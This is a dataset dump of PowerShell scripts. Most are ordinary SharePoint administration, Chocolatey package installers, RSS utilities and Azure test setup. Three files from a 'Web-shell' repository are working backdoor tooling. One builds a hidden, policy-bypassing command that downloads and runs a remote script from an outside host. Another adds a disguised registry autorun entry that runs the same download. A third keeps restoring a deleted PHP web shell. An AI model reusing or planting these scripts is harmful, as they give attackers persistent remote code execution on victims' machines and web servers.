full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/OPS-E2E-PPE_E2E_D_Provision_2017_5_25_12_58_28/.openpublishing.build.ps1
.openpublishing.build.ps1
param( [string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1", [string]$parameters ) # Main $errorActionPreference = 'Stop' # Step-1: Download buildcore script to local echo "download build core script to local with source url: ...
PowerShellCorpus/Github/hl-repos_PSInspect/psinspect.ps1
psinspect.ps1
#requires -version 2.0 #============================================================================================# # Hoplite Industries, Inc. # # Incident Response Live Data Acquisition # ...
PowerShellCorpus/Github/kittholland_RiotPower/SampleScript.ps1
SampleScript.ps1
#Import the RiotPower Module. I already have an ApiKey setup, but if I did not I would have to use Add-ApiKey command to add one before I ran anything else. Import-Module C:\git\RiotPower\RiotPower.psd1 #Region I am searching. Korea sounds like a good place to look for interesting builds. $region = 'kr' #Langua...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/CreateManagedMetadataList.ps1
CreateManagedMetadataList.ps1
######################################################################################### # This script will add a Managed Metadata column to an existing list # The script will then force all documents to use a certain term in the term store ###########################################################################...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/ArchiveSqlLog.ps1
ArchiveSqlLog.ps1
####################################################################################################### # This PowerShell script will move the ERRORLOG.6 file and recycle the SQL Log to generate a new one ######################################################################################################## Add...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/RemoveFolderDestinationUpload.ps1
RemoveFolderDestinationUpload.ps1
# This PowerShell script will remove the custom upload page (uploadex.aspx) from SPWeb, and reverts back to the default upload page (upload.aspx), # which does not contain the “Destination Folder” field. Add-PSSnapin Microsoft.Sharepoint.PowerShell -ErrorAction SilentlyContinue ################## UPDATE WI...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/GetVersionHistory.ps1
GetVersionHistory.ps1
# This PowerShell script will get the version history of list items in a single list on SharePoint 2010. ################################ MODIFY VARIABLES BELOW ##################################################### $mySiteCollection = 'http://yourSite.domain.com/subsite' $myListName = 'YourListGoesHere' #######...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/ActivateSiteFeatures.ps1
ActivateSiteFeatures.ps1
############################################################################################### # This PowerShell script will read from an XML file and activate site collection and site features. ############################################################################################### ######################...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/DeactivateFeatures.ps1
DeactivateFeatures.ps1
############################################################################################### # This PowerShell script will read from an XML file and DEACTIVATE site collection and site features. ############################################################################################### ####################...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/FindFolders.ps1
FindFolders.ps1
# This PowerShell script will list all folders within a web application Add-PSSnapin Microsoft.Sharepoint.PowerShell -ErrorAction SilentlyContinue ################## UPDATE WITH YOUR WEB APPLICATION ###################################### $myWebApp = "https://WebApp.domain.com" ################## DO NOT UPDA...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/SharePointSpammer.ps1
SharePointSpammer.ps1
<# This PowerShell script will read from a text file to get a list of recipients to email. It will also read from an html file to craft the body of the email message. #> function sharepointSpam($attachment) { try{ Add-PSSnapin Microsoft.SharePoint.PowerShell -erroraction Silently...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Visual_Upgrade_2007_Sites_to_2010.ps1
Visual_Upgrade_2007_Sites_to_2010.ps1
#This script will do a visual upgrade on all sites in a web application. #Use this script to upgrade the user interface to v4 for SP2010. Update with your web application name. $webApp = Get-SPWebApplication "web app here" foreach ($site in $webApp.sites) { $site.VisualUpgradeWebs() }
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Add_MIME_Types.ps1
Add_MIME_Types.ps1
#This PowerShell script will add the MIME types in the array variable to a web application #The Browser File Handeling will remain in strict mode $webAppUrl = "http://yourwebapp.domain.com" #add additional MIME types to the $mimeTypeArray variable $mimeTypeArray = @("application/pdf","text/html", "text/htm") $w...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/GetDocCount.ps1
GetDocCount.ps1
################################################################################################ #This script will loop through a web application and output documents added after a certain day. ################################################################################################ Add-PSSnapin "Microsoft....
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Get_Last_Modified_Date.ps1
Get_Last_Modified_Date.ps1
# 4/14/2014 # This PowerShell script will find sites older than the date sepcified in the variable $dateToCheck ################################################ MODIFY VARIABLES BELOW ######################################################### #Enter the web application $webApp = Get-SpWebApplication 'http://' ...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Remove_Custom_STS_Users.ps1
Remove_Custom_STS_Users.ps1
# This PowerShell script will remove any user that has the custom Security Token Service (STS) # claims of “i:0ǻ.t|sts.XXXXXXXX.com|win.UserName" or “i:0ǻ.t|sts.XXXXXXXX.com|pass.UserName" from a site collection. # ** IMPORTANT: RUN THE SCRIPT LIKE THIS TO GET A LOG REPORT ** # .\remove_STS_users.ps1 > D:\STS_U...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Get_Web_Templates_SP2010.ps1
Get_Web_Templates_SP2010.ps1
#Description: This script will find the web template name and ID for all webs in a web applications ###################### UPDATE WITH YOUR WEB APP HERE ########################### $myWebApp = "http://YourWebApp.domain.com" ###################### DO NOT UPDATE ANYTHIGN BELOW THIS LINE ################## $webApp...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/CreateContentDatabases.ps1
CreateContentDatabases.ps1
############################################################################################### # This PowerShell script will read from an XML file and create multiple databases. # if the script errors you may need to manually remove the DB from the web app before running again ######################################...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Remove_Disabled_Project_Server_Users.ps1
Remove_Disabled_Project_Server_Users.ps1
<# Description: This script will locate disabled user accounts and remove them from the Active Directory security group "ProjectServerUsers" #> Import-Module ActiveDirectory $timeStamp = get-date -Format mm-dd-yyyy__hh_mm_ss $filePath = 'D:\EPM2010_Disabled_User_Report\EPM2010_Disabled_User_Report_'+$...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Installed_Patches.ps1
Installed_Patches.ps1
# See installed patches and sort by date get-wmiobject win32_quickfixengineering | Sort-Object InstalledOn
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Disable_UAC.ps1
Disable_UAC.ps1
# This script will check to see if UAC is enabled and disable it if it is. # This script will cause a reboot. $UAC = Get-ItemProperty -Path registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA if ($UAC.EnableLUA -eq 1) { Set-ItemProperty -Path registry::HK...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/CreateSiteCollections.ps1
CreateSiteCollections.ps1
############################################################################################### # This PowerShell script will read from an XML file and create multiple site collections ############################################################################################### Write-Host -ForegroundColor Yellow...
PowerShellCorpus/Github/skaeneman_SharePoint-Troubleshooting/Enable_Subweb_Features.ps1
Enable_Subweb_Features.ps1
<# This PowerShell script will enable the "Team Collaboration Lists" feature on all SharePoint 2010 subsites under a particular site collection. #> # tracks all objects used Start-SPAssignment -Global Add-PSSnapin Microsoft.SharePoint.PowerShell -erroraction SilentlyContinue ############# EDIT THE...
PowerShellCorpus/Github/Simple-Talk_AutoFrontPage/TestDBWFrontPage.ps1
TestDBWFrontPage.ps1
 [xml]$xml=@' <?xml version="1.0" encoding="ISO-8859-1"?> <Objects> - <Object Type="System.Management.Automation.PSCustomObject"> <Property Name="Feed" Type="System.String">SQLServerCentral.com Articles tagged Editorial</Property> <Property Name="Title" Type="System.String">A Better Conference</Property> ...
PowerShellCorpus/Github/Simple-Talk_AutoFrontPage/Working Copy of DateConsumer.ps1
Working Copy of DateConsumer.ps1
switch -regex ('th y') { ( '(^.*)UT' ) { $matches[1]+ 'GMT' ; break } ( '(^.*)EST' ) { $matches[1]+ '-05:00' ; break } ( '(^.*)EDT' ) { $matches[1]+ '-04:00' ; break } ( '(^.*)CST' ) { $matches[1]+ '-06:00' ; break } ( '(^.*)CDT' ) { $matches[1]+ '-05:00' ; break } ( '(^.*)MST' )...
PowerShellCorpus/Github/Simple-Talk_AutoFrontPage/ImprovedRSSFeed.ps1
ImprovedRSSFeed.ps1
$dir="$(Split-Path -Parent $MyInvocation.MyCommand.Definition)" $MyOPMLFile= "$dir\simple-talk.opml" #change this to the name of your OPML file $MyListOfArticles="$dir\LatestStories.XML" $OldListOfArticles="$dir\NotSoLatestStories.XML" $MyXSLTTemplate="$dir\FeedItemToGridTransformer.xsl" $MyHTMLFile="$dir\DBW.HTML...
PowerShellCorpus/Github/Simple-Talk_AutoFrontPage/TestOMPLFile.ps1
TestOMPLFile.ps1
$dir="$(Split-Path -Parent $MyInvocation.MyCommand.Definition)" $dir $MyOPMLFile= "$dir\simple-talk.opml" #change this to the name of your OPML file [xml]$opml= Get-Content $MyOPMLFile # grab the OPML file of feeds $opml.opml.body.outline.outline | select @{name="Title"; Expression={$_.title}}, @{name="...
PowerShellCorpus/Github/Simple-Talk_AutoFrontPage/TestPowershellTransform.ps1
TestPowershellTransform.ps1
[xml]$xml=@' <?xml version="1.0" encoding="ISO-8859-1"?> <!-- Edited by XMLSpy® --> <breakfast_menu> <food> <name>Belgian Waffles</name> <price>$5.95</price> <description>Two of our famous Belgian Waffles with plenty of real maple syrup</description> <calories>650</calories> </food> <food> <na...
PowerShellCorpus/Github/Simple-Talk_AutoFrontPage/DateConsumer.ps1
DateConsumer.ps1
switch -regex ('th y') { ( '(^.*)UT' ) { $matches[1]+ 'GMT' ; break } ( '(^.*)EST' ) { $matches[1]+ '-05:00' ; break } ( '(^.*)EDT' ) { $matches[1]+ '-04:00' ; break } ( '(^.*)CST' ) { $matches[1]+ '-06:00' ; break } ( '(^.*)CDT' ) { $matches[1]+ '-05:00' ; break } ( '(^.*)MST' )...
PowerShellCorpus/Github/miyu_FodyDnx/src/exec-fody-weavers.ps1
exec-fody-weavers.ps1
# Load additional assemblies needed by script_inner, then exec it. Add-Type -AssemblyName Microsoft.Build.Framework; $output = Invoke-Expression("& '$PSScriptRoot/exec-fody-weavers-inner.ps1' $args"); if ($output[$output.Length - 1] -ne '0') { Write-Host("Inner script returned nonzero result."); exit 1; }
PowerShellCorpus/Github/miyu_FodyDnx/src/exec-fody-weavers-inner.ps1
exec-fody-weavers-inner.ps1
param ( [Parameter(Mandatory=$True)] [string]$ProjectDir ) Write-Host "Entered Inner Script"; $nugetPackagesPath = "$($env:USERPROFILE)/.dnx/packages"; $xprojFile = get-childitem "$ProjectDir" -Filter "*.xproj" -recurse; # | % { $_.FullName } $projectJsonPath = "$ProjectDir/project.json"; $project...
PowerShellCorpus/Github/takobouzu_kol_incident/kol_incident.ps1
kol_incident.ps1
######################################################################################## #【ファイル】kol_incident.ps1 #【機能仕様】競馬道Online 成績+馬(1日)から発走状況・制裁コメントファイルを作成する。 #【入  力】1.競馬道Online 成績+馬(1日) .\in\kol_ib\kd3_ibyymmdd.lzh #【出  力】2.発走状況・制裁コメント .\out\comment\kol_incident.txt #【動作環境】Windows 10 64bit / Powershell ...
PowerShellCorpus/Github/takobouzu_kol_incident/common/common_target.ps1
common_target.ps1
############################################################################## #【ファイル】スクリプトフォルダ\common\common_target.ps1 #【機能仕様】TARGET frontier JVデータ処理の共通部品 #【開発来歴】01-00 2015.11.08 蛸坊主 ############################################################################## ###############################################...
PowerShellCorpus/Github/takobouzu_kol_incident/common/common_jrdb.ps1
common_jrdb.ps1
############################################################################## #亂僼傽僀儖亃僗僋儕僾僩僼僅儖僟\common\common_jrdb.ps1 #亂婡擻巇條亃JRDB僨乕僞傪TARGET frontier JV僨乕僞偵曄姺偡傞偨傔偺嫟捠晹昳 #亂奐敪棃楌亃01-00 2015.11.08 扄朧庡 ############################################################################## ######################################...
PowerShellCorpus/Github/takobouzu_kol_incident/common/common_kol.ps1
common_kol.ps1
############################################################################## #亂僼傽僀儖亃僗僋儕僾僩僼僅儖僟\common\common_kol.ps1 #亂婡擻巇條亃嫞攏摴Online僨乕僞傪TARGET frontier JV僨乕僞偵曄姺偡傞偨傔偺嫟捠晹昳 #亂奐敪棃楌亃01-00 2015.11.08 扄朧庡 ############################################################################## ##################################...
PowerShellCorpus/Github/markscholman_rdscloudonly/configure_rds_env.ps1
configure_rds_env.ps1
None
PowerShellCorpus/Github/markscholman_rdscloudonly/configure_stor_spac.ps1
configure_stor_spac.ps1
# # configure_stor_spac.ps1 # param( [string] [Parameter(Mandatory=$false)] $FQDNDomain, [string] [Parameter(Mandatory=$false)] $Cred_User, [string] [Parameter(Mandatory=$false)] $Cred_Psswd, [string] [Parameter(Mandatory=$false)] $stSofsName, [string] [Parameter(Mandatory=$false)] $stprefix, [string] [P...
PowerShellCorpus/Github/Jumbo-WJB_-Web-shell/Lnk-Backd00r.ps1
Lnk-Backd00r.ps1
# Date : 2017-06-03 # Author : ub3r # Version : 2.0 Function LNK_backdoor{ $Command = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1');Backd00r-webshell.ps1""" ##HIDE Computer Icon $ErrorAct...
PowerShellCorpus/Github/Jumbo-WJB_-Web-shell/Backd00r-webshell.ps1
Backd00r-webshell.ps1
$shell_path = "G:\xampp\htdocs\backdoor\shell.php" $shell_content = [System.IO.File]::ReadAllBytes($shell_path) while($true){ $flag = Test-Path $shell_path if($flag -eq "True"){ sleep 1 } else{ [System.IO.File]::WriteAllBytes($shell_path, $shell_content) $shell = Get-Item $shell_path ...
PowerShellCorpus/Github/Jumbo-WJB_-Web-shell/Backd00r-webshell-Auto.ps1
Backd00r-webshell-Auto.ps1
# Date : 2017-06-02 # Author : ub3r # Version : 1.0 $shell_path = "G:\xampp\htdocs\backdoor\shell.php" $shell_content = [System.IO.File]::ReadAllBytes($shell_path) $autorunKeyName = "Windows Powershell" $autorunKeyVal = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).Down...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/cks.dev11/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
Install-ChocolateyVsixPackage "CKSDEV11" http://visualstudiogallery.msdn.microsoft.com/cf1225b4-aa83-4282-b4c6-34feec8fc5ec/file/96582/3/CKS.Dev11.vsix
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/sp2013.searchquerytool/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $exePath = Join-Path $(Split-Path -parent $scriptPath) 'SearchQueryTool.exe' Install-ChocolateyDesktopLink $exePath Write-ChocolateySuccess 'SearchQueryTool' } catch { Write-ChocolateyFailure 'SearchQueryTool' "$($_.Ex...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SAStarterKitVS2010/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
Install-ChocolateyVsixPackage "sastarterkitvs2010" http://visualstudiogallery.msdn.microsoft.com/a8539635-2d9a-468e-bddf-341332061ec7/file/93756/3/SAStarterKitVS2010.vsix
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePoint.HiveShortCut.Explorer/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { #try load the sharepoint module if ((Add-PSSnapin Microsoft.SharePoint.PowerShell -EA SilentlyContinue) -eq $null -and (Get-PSSnapin Microsoft.SharePoint.PowerShell -EA SilentlyContinue) -eq $null) { throw "Could not load SharePoint PowerShell Snapin" } #locate the SharePoin...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2010x64/tools/spd-utils.ps1
spd-utils.ps1
function GetSPDTmpInstallFolder() { $tmpFolder = Join-Path $env:chocolateyPackageFolder "download" [void][System.IO.Directory]::CreateDirectory($tmpFolder) return $tmpFolder; } function SPDInstall($targetUrl, $mspConfigPath, $spdToken) { $setupFileName = "setup.exe" $tmpFolder = GetSPDTmpInstall...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2010x64/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
$spdToken = "SharePointDesigner2010x64" try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) . (Join-Path $scriptPath "spd-utils.ps1") $xmlConfigPath = Join-Path $scriptPath "spd-chocolatey-uninstall.xml" SPDUninstall $xmlConfigPath $spdToken Write-ChocolateySuccess $spd...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2010x64/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$spdToken = "SharePointDesigner2010x64" try { # x32 # http://download.microsoft.com/download/7/9/B/79B9134E-D725-41AC-A04A-053BA7F0D678/SharePointDesigner.exe # x64 # http://download.microsoft.com/download/5/B/6/5B645118-85F5-41D6-8DB9-2B7BAB835A79/SharePointDesigner.exe $scriptPath = $(Split-Path -pa...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/ulsviewer/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $exePath = Join-Path $(Split-Path -parent $scriptPath) 'UlsViewer.exe' Install-ChocolateyDesktopLink $exePath Write-ChocolateySuccess 'UlsViewer' } catch { Write-ChocolateyFailure 'UlsViewer' "$($_.Exception.Message)" ...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/PowerGUIVSX/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { #$targetUrl = "http://visualstudiogallery.msdn.microsoft.com/01516103-d487-4a7e-bb40-c15ec709afa3/file/31518/10/PowerGUIVsx.vsix" $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $targetUrl = Join-Path $(Split-Path -parent $scriptPath) 'PowerGUIVsx.vsix' $targetFileName = [Sys...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SAStarterKitVS2012/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
Install-ChocolateyVsixPackage "sastarterkitvs2012" http://visualstudiogallery.msdn.microsoft.com/214fb186-1290-442f-804f-87868ac13e3a/file/93768/2/SAStarterKitVS2012.vsix
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2013x64/tools/spd-utils.ps1
spd-utils.ps1
function GetSPDTmpInstallFolder() { $tmpFolder = Join-Path $env:chocolateyPackageFolder "download" [void][System.IO.Directory]::CreateDirectory($tmpFolder) return $tmpFolder; } function SPDInstall($targetUrl, $mspConfigPath, $spdToken) { $setupFileName = "setup.exe" $tmpFolder = GetSPDTmpInstall...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2013x64/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
$spdToken = "SharePointDesigner2013x64" try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) . (Join-Path $scriptPath "spd-utils.ps1") $xmlConfigPath = Join-Path $scriptPath "spd-chocolatey-uninstall.xml" SPDUninstall $xmlConfigPath $spdToken Write-ChocolateySuccess $spd...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2013x64/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$spdToken = "SharePointDesigner2013x64" try { #http://download.microsoft.com/download/3/E/3/3E383BC4-C6EC-4DEA-A86A-C0E99F0F3BD9/sharepointdesigner_32bit.exe #http://download.microsoft.com/download/3/E/3/3E383BC4-C6EC-4DEA-A86A-C0E99F0F3BD9/sharepointdesigner_64bit.exe $scriptPath = $(Split-Path -parent $...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePoint.HiveShortCut.Desktop/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { #try load the sharepoint module if ((Add-PSSnapin Microsoft.SharePoint.PowerShell -EA SilentlyContinue) -eq $null -and (Get-PSSnapin Microsoft.SharePoint.PowerShell -EA SilentlyContinue) -eq $null) { throw "Could not load SharePoint PowerShell Snapin" } #locate the SharePoin...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointLogViewer/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $exePath = Join-Path $(Split-Path -parent $scriptPath) 'SharePointLogViewer.exe' Install-ChocolateyDesktopLink $exePath Write-ChocolateySuccess 'SharePointLogViewer' } catch { Write-ChocolateyFailure 'SharePointLo...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/CAMLDesigner2013/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$packageName = "CAMLDesigner 2013" try { #download Install-ChocolateyZipPackage $packageName 'http://sharepoint.biwug.be/CamlDesigner2013/CamlDesigner2013.zip' "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" Write-Host "Download $packageName was sucessful" #desktop shortcut $folde...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/GAX2012/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $targetUrl = "http://visualstudiogallery.msdn.microsoft.com/1412659a-622c-47a4-af1e-a3f75afdd79b/file/85798/1/GAX2010-VS2012.vsix" $targetFileName = [System.IO.Path]::GetFileName($targetUrl) Write "Loading and installing file:[$targetFileName] from URL:[$targetUrl]" Install-ChocolateyVsixPackage "GAX...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2013x32/tools/spd-utils.ps1
spd-utils.ps1
function GetSPDTmpInstallFolder() { $tmpFolder = Join-Path $env:chocolateyPackageFolder "download" [void][System.IO.Directory]::CreateDirectory($tmpFolder) return $tmpFolder; } function SPDInstall($targetUrl, $mspConfigPath, $spdToken) { $setupFileName = "setup.exe" $tmpFolder = GetSPDTmpInstall...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2013x32/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
$spdToken = "SharePointDesigner2013x32" try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) . (Join-Path $scriptPath "spd-utils.ps1") $xmlConfigPath = Join-Path $scriptPath "spd-chocolatey-uninstall.xml" SPDUninstall $xmlConfigPath $spdToken Write-ChocolateySuccess $spd...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2013x32/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$spdToken = "SharePointDesigner2013x32" try { #http://download.microsoft.com/download/3/E/3/3E383BC4-C6EC-4DEA-A86A-C0E99F0F3BD9/sharepointdesigner_32bit.exe #http://download.microsoft.com/download/3/E/3/3E383BC4-C6EC-4DEA-A86A-C0E99F0F3BD9/sharepointdesigner_64bit.exe $scriptPath = $(Split-Path -parent $...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SPCAF/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $targetUrl = "http://visualstudiogallery.msdn.microsoft.com/d3b2aaf7-0d6a-4995-a4e5-4153c57e3889/file/100303/19/SPCAF.Setup.msi" $targetFileName = [System.IO.Path]::GetFileName($targetUrl) Write "Loading and installing file:[$targetFileName] from URL:[$targetUrl]" Install-ChocolateyPackage $targetUr ...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/sp2013.PreReqs/tools/DownloadAllSP2013PreReqs.ps1
DownloadAllSP2013PreReqs.ps1
Param( [string]$DestPath ) Import-Module BitsTransfer ## Prompt for the destination path #$DestPath = Read-Host -Prompt "- Enter the destination path for downloaded files" ## Check that the path entered is valid If (Test-Path "$DestPath" -Verbose) { ## If destination path is valid, create folder if it doe...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/sp2013.PreReqs/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $downloadScriptPath = Join-Path $scriptPath "DownloadAllSP2013PreReqs.ps1" $targetFolder = Join-Path $env:chocolateyPackageFolder "download" [System.IO.Directory]::CreateDirectory($targetFolder) Write "Downloading ShareP...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/OfficeDevToolsVS2012/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $programmFilesPath = $Env:ProgramFiles $webInstallerPath = Join-Path $Env:ProgramFiles "Microsoft\Web Platform Installer" $WebpiCmdPath = Join-Path $webInstallerPath "WebpiCmd.exe" $tempOfficeToolsDir = Join-Path $env:TEMP "chocolatey_OfficeToolsForVS2012RTW_Install" $tempOfficeToolsInstaller...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SPSF/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $targetUrl = "http://visualstudiogallery.msdn.microsoft.com/6daef348-197a-43f6-a091-95226e6ea5bc/file/97405/7/SPALM.SPSF.vsix" $targetFileName = [System.IO.Path]::GetFileName($targetUrl) Write "Loading and installing file:[$targetFileName] from URL:[$targetUrl]" Install-ChocolateyVsixPackage "SPSFOnl...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/cks.dev.server/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $vsixPath = Join-Path $(Split-Path -parent $scriptPath) 'CKS.Dev.Server.vsix' if ($env:VS110COMNTOOLS) { $installer = $(Split-Path -parent $env:VS110COMNTOOLS) } elseif ($env:VS100COMNTOOLS) { $installer = $(Split-Path -parent...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/cks.dev/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $vsixPath = Join-Path $(Split-Path -parent $scriptPath) 'CKS.Dev.vsix' VSIXInstaller.exe /q $vsixPath Write-ChocolateySuccess 'CKS.Dev.vsix' } catch { Write-ChocolateyFailure 'CKS.Dev.vsix' "$($_.Exception.Message)" th...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/CAMLDesigner2010/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$packageName = "CAMLDesigner 2010" try { #download Install-ChocolateyZipPackage $packageName 'http://sharepoint.biwug.be/CamlDesigner/CamlDesigner.zip' "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" Write-Host "Download $packageName was sucessful" #desktop shortcut $folder = (spl...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/U2UCamlBuilder/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
try { # could be found at # HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{DD5E9E79-47CC-4FC6-97E2-42E3824A9FFF} Uninstall-ChocolateyPackage 'U2UCamlBuilder' 'msi' '{DD5E9E79-47CC-4FC6-97E2-42E3824A9FFF} /norestart /qn' Write-ChocolateySuccess "U2UCamlBuilder" } catch { ...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/U2UCamlBuilder/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $msiPath = Join-Path $(Split-Path -parent $scriptPath) '/distr/CamlBuilderSetup.msi' Write "Loading and installing file:[$msiPath] from PATH:[$msiPath]" Install-ChocolateyPackage 'U2UCamlBuilder' 'msi' '/quiet' $msiPath W...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2010x32/tools/spd-utils.ps1
spd-utils.ps1
function GetSPDTmpInstallFolder() { $tmpFolder = Join-Path $env:chocolateyPackageFolder "download" [void][System.IO.Directory]::CreateDirectory($tmpFolder) return $tmpFolder; } function SPDInstall($targetUrl, $mspConfigPath, $spdToken) { $setupFileName = "setup.exe" $tmpFolder = GetSPDTmpInstall...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2010x32/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
$spdToken = "SharePointDesigner2010x32" try { $scriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) . (Join-Path $scriptPath "spd-utils.ps1") $xmlConfigPath = Join-Path $scriptPath "spd-chocolatey-uninstall.xml" SPDUninstall $xmlConfigPath $spdToken Write-ChocolateySuccess $spd...
PowerShellCorpus/Github/MaxMelcher_ChocolateySharePointPackages/SharePointDesigner2010x32/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$spdToken = "SharePointDesigner2010x32" try { # x32 # http://download.microsoft.com/download/7/9/B/79B9134E-D725-41AC-A04A-053BA7F0D678/SharePointDesigner.exe # x64 # http://download.microsoft.com/download/5/B/6/5B645118-85F5-41D6-8DB9-2B7BAB835A79/SharePointDesigner.exe $scriptPath = $(Split-Path -pa...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/init.ps1
init.ps1
param([string] $TEST_PROJECT, [string]$TEST_FORK, [string] $TEST_BRANCH) if ($TEST_PROJECT) { $env:TEST_PROJECT = $TEST_PROJECT } "Cloning azure-rest-api-specs..." .\lib\remove.ps1 -path azure-rest-api-specs if ($TEST_FORK) { $env:TEST_FORK = $TEST_FORK } if (!$env:TEST_FORK) { $env:TEST_...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/lang.ps1
lang.ps1
param([string]$script) Import-Module ".\lib.psm1" $langInfo = Get-LangInfo -lang $env:TEST_LANG if ($langInfo.script) { $scriptFile = ".\" + $env:TEST_LANG + "\" + $script + ".ps1" "Running $scriptFile..." & $scriptFile }
